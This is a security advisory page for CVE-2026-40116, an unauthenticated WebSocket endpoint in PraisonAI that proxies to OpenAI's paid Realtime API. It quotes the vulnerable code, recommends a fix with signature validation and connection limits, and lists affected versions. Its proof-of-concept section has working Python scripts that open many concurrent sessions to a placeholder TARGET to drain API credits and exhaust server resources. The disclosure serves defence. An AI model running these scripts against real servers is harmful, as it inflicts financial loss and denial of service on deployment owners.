CVE-2026-40116: PraisonAI's Unauthenticated WebSocket Endpoint Proxies to Paid OpenAI Realtime API Without Rate Limits

Published Apr 9, 2026
·
Updated

Summary

The /media-stream WebSocket endpoint in PraisonAI's call module accepts connections from any client without authentication or Twilio signature validation. Each connection opens an authenticated session to OpenAI's Realtime API using the server's API key. There are no limits on concurrent connections, message rate, or message size, allowing an unauthenticated attacker to exhaust server resources and drain the victim's OpenAI API credits.

Details

The vulnerability exists in src/praisonai/praisonai/api/call.py. The FastAPI application defines a WebSocket endpoint at line 108 with no authentication middleware, no Twilio request signature validation, and no rate limiting:

python line 108-112 — no auth, no middleware, accepts any WebSocket client @app.websocket("/media-stream") async def handlemediastream(websocket: WebSocket): """Handle WebSocket connections between Twilio and OpenAI.""" print("Client connected") await websocket.accept()

Immediately upon connection, the handler opens an authenticated session to OpenAI's paid Realtime API using the server's OPENAIAPIKEY:

python line 114-120 — each unauthenticated connection spawns a paid API session async with websockets.connect( 'wss://api.openai.com/v1/realtime?model=gpt-4o-realtime-preview-2024-10-01', extraheaders={ "Authorization": f"Bearer {OPENAIAPIKEY}", "OpenAI-Beta": "realtime=v1" } ) as openaiws:

The receivefromtwilio() coroutine then reads unlimited messages and forwards them directly to OpenAI:

python line 128-135 — unbounded message ingestion, no size/rate check async for message in websocket.itertext(): data = json.loads(message) if data['event'] == 'media' and openaiws.open: audioappend = { "type": "inputaudiobuffer.append", "audio": data['media']['payload'] } await openaiws.send(json.dumps(audioappend))

The server binds to 0.0.0.0 (line 273) and can be exposed to the internet via ngrok (--public flag). Twilio's RequestValidator is never used — the endpoint was designed to receive Twilio media streams but performs no verification that the connecting client is actually Twilio. The standard mitigation for Twilio WebSocket endpoints is to validate the X-Twilio-Signature header, which is absent here.

Additionally, uvicorn.run() is called without a wsmaxsize parameter (line 273), defaulting to 16MB per WebSocket message. Combined with no connection limit, this allows substantial memory consumption.

PoC

bash Step 1: Verify the endpoint is accessible and accepts connections python3 -c " import asyncio import websockets import json

async def test(): async with websockets.connect('ws://TARGET:8090/media-stream') as ws: # Send a start event (mimicking Twilio) await ws.send(json.dumps({ 'event': 'start', 'start': {'streamSid': 'attacker-session-1'} })) # Send a media event — this gets forwarded to OpenAI Realtime API await ws.send(json.dumps({ 'event': 'media', 'media': {'payload': 'SGVsbG8gV29ybGQ='} })) # Receive the OpenAI response routed back response = await asyncio.waitfor(ws.recv(), timeout=10) print('Received response (confirms OpenAI session active):', response[:200])

asyncio.run(test()) "

Step 2: Demonstrate resource exhaustion — open multiple concurrent connections Each connection spawns an OpenAI Realtime API session billed to the server owner python3 -c " import asyncio import websockets import json import base64

async def opensession(i): uri = 'ws://TARGET:8090/media-stream' async with websockets.connect(uri) as ws: await ws.send(json.dumps({ 'event': 'start', 'start': {'streamSid': f'attacker-{i}'} })) # Send audio data to keep the OpenAI session active and billing payload = base64.b64encode(b'\\x00' 8000).decode() # ~8KB audio chunk for in range(100): await ws.send(json.dumps({ 'event': 'media', 'media': {'payload': payload} })) await asyncio.sleep(0.01) print(f'Session {i}: sent 100 audio chunks to OpenAI via proxy')

async def main(): # Open 10 concurrent sessions (each consuming OpenAI Realtime API credits) await asyncio.gather([opensession(i) for i in range(10)])

asyncio.run(main()) "

Replace TARGET with the server's hostname/IP. Each connection in Step 2 opens a separate authenticated OpenAI Realtime API session. The server logs will show "Client connected" and "Incoming stream has started" for each attacker session.

Impact

1. OpenAI API credit drain: Each unauthenticated WebSocket connection opens a billed OpenAI Realtime API session. An attacker can open many concurrent sessions and stream audio data, accumulating charges on the victim's OpenAI account. The Realtime API bills per-second of audio, making this financially impactful.

2. Denial of service: Legitimate Twilio callers are denied service when the server's resources (memory, file descriptors, OpenAI API rate limits) are exhausted by attacker connections.

3. Server memory exhaustion: With no per-message size limit (16MB default) and no connection limit, an attacker can consume server memory by opening many connections and sending large payloads.

Recommended Fix

Add Twilio signature validation, connection limits, and rate limiting:

python from twilio.requestvalidator import RequestValidator from starlette.websockets import WebSocketState import time

Connection tracking MAXCONCURRENTCONNECTIONS = 20 activeconnections = 0 connectionlock = asyncio.Lock()

TWILIOAUTHTOKEN = os.getenv('TWILIOAUTHTOKEN')

@app.websocket("/media-stream") async def handlemediastream(websocket: WebSocket): global activeconnections # Enforce connection limit async with connectionlock: if activeconnections >= MAXCONCURRENTCONNECTIONS: await websocket.close(code=1008, reason="Too many connections") return activeconnections += 1 try: # Validate Twilio signature if auth token is configured if TWILIOAUTHTOKEN: validator = RequestValidator(TWILIOAUTHTOKEN) url = str(websocket.url).replace("ws://", "http://").replace("wss://", "https://") signature = websocket.headers.get("X-Twilio-Signature", "") if not validator.validate(url, {}, signature): await websocket.close(code=1008, reason="Invalid signature") return await websocket.accept() # ... rest of handler ... finally: async with connectionlock: activeconnections -= 1

Additionally, pass wsmaxsize to uvicorn to limit individual message sizes:

python uvicorn.run(app, host="0.0.0.0", port=port, loglevel="warning", wsmaxsize=1048576) # 1MB

Other sources

PraisonAI is a multi-agent teams system. Prior to 4.5.128, the /media-stream WebSocket endpoint in PraisonAI's call module accepts connections from any client without authentication or Twilio signature validation. Each connection opens an authenticated session to OpenAI's Realtime API using the server's API key. There are no limits on concurrent connections, message rate, or message size, allowing an unauthenticated attacker to exhaust server resources and drain the victim's OpenAI API credits. This vulnerability is fixed in 4.5.128.

MITRE

Affected Software

2 affected componentsFixes available
pip/PraisonAI<4.5.128
4.5.128
Praison PraisonAI<4.5.128

Event History

Apr 9, 2026
CVE Published
via MITRE·09:20 PM
Data Sourced
via MITRE·09:20 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
Affected Software
Apr 10, 2026
Advisory Published
via GitHub·07:22 PM
Data Sourced
via GitHub·07:22 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-40116?

CVE-2026-40116 has a high severity due to its unauthenticated access to the WebSocket endpoint.

2

How do I fix CVE-2026-40116?

To fix CVE-2026-40116, upgrade to PraisonAI version 4.5.128 or later.

3

What are the risks associated with CVE-2026-40116?

The risks of CVE-2026-40116 include unauthorized access to OpenAI services and potential abuse due to lack of rate limiting.

4

Which versions of PraisonAI are affected by CVE-2026-40116?

CVE-2026-40116 affects all versions of PraisonAI prior to 4.5.128.

5

Is authentication required for the affected endpoint in CVE-2026-40116?

No, the affected `/media-stream` WebSocket endpoint in CVE-2026-40116 does not require authentication.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203